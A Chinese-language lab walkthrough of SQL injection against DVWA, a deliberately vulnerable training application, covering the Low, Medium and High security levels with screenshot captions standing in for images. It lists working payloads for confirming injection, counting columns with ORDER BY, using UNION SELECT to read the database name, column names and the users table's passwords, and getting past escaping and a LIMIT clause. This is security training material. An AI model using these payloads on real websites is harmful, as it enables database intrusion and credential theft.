Low

一、判断注入类型

1、输入1,查询成功                          


DVWA-SQL注入_DVWA

 2、输入1' or 1='1查询成功

DVWA-SQL注入_SQL注入_02

二、查询数据库中字段数

1、输入

1' or 1=1 order by 1#                     查询失败

1' or 1=1 order by 2#均查询成功

DVWA-SQL注入_DVWA_03

2、输入1' or 1=1 order by 3#

DVWA-SQL注入_SQL注入_04

判断数据库语句中只有两个字段名,First name和Surname


三、查询数据库的库名                    

输入'union select database(),user()'     

查询到当前数据库名为dvwa                

DVWA-SQL注入_SQL注入_05

  四、查询数据库中表名称

DVWA-SQL注入_DVWA_06

五、获取表中字段名

'union select 1,group_concat(column_name) from information_schema.columnswhere table_name=’users’#

DVWA-SQL注入_DVWA_07

六、尝试获取user及password

'union select user,password from users#

DVWA-SQL注入_SQL注入_08

七、尝试破解口令

DVWA-SQL注入_DVWA_09

Medium

查看源码发现特殊字符被mysqli_real_escape_string函数转义

一、输入1' or 1=1 #

发现‘’被函数转义

DVWA-SQL注入_DVWA_10


二、输入1 or 1=1#  查询成功

DVWA-SQL注入_DVWA_11

DVWA-SQL注入_DVWA_12

High

查看源码发现相比于medium知识添加了LIMIT1,可通过#将其注释

DVWA-SQL注入_SQL注入_13

'union select user,password from users#成功注入

DVWA-SQL注入_DVWA_14